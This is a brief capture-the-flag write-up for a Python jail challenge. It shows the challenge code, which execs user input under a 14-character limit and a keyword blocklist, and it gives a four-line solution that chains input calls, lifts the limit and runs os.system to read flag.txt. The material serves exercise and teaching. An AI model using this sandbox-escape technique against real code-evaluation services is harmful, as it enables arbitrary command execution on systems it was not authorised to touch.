Shadow Page Table

The problem code was

 1#!/usr/local/bin/python3  
 2M = 14    
 3def f(code):  
 4    assert len(code) <= M  
 5    assert all(ord(c) < 128 for c in code)  
 6    assert all(q not in code for q in ["exec",   
 7"eval", "breakpoint", "help", "license", "exit"  
 8, "quit"])  
 9    exec(code, globals())  
10f(input("> "))  

Solution

g=input;f(g())  
f(g());f(g())  
M=999999  
import os; os.system("cat flag.txt")  

Solution Explanation

The problem was black box in nature so it took some experimentation to figure out what was going on. I was limited to 14 characters in input. By assigning the input function to g I can then call input using less characters.

On the next line I just call f twice. This allows me to do whatever I want on the next line because I have another whole line.

On the next line I modify the character limit to a high number so that I can run our payload on the final line.

On the final line I can run arbitrary python code to read the flag.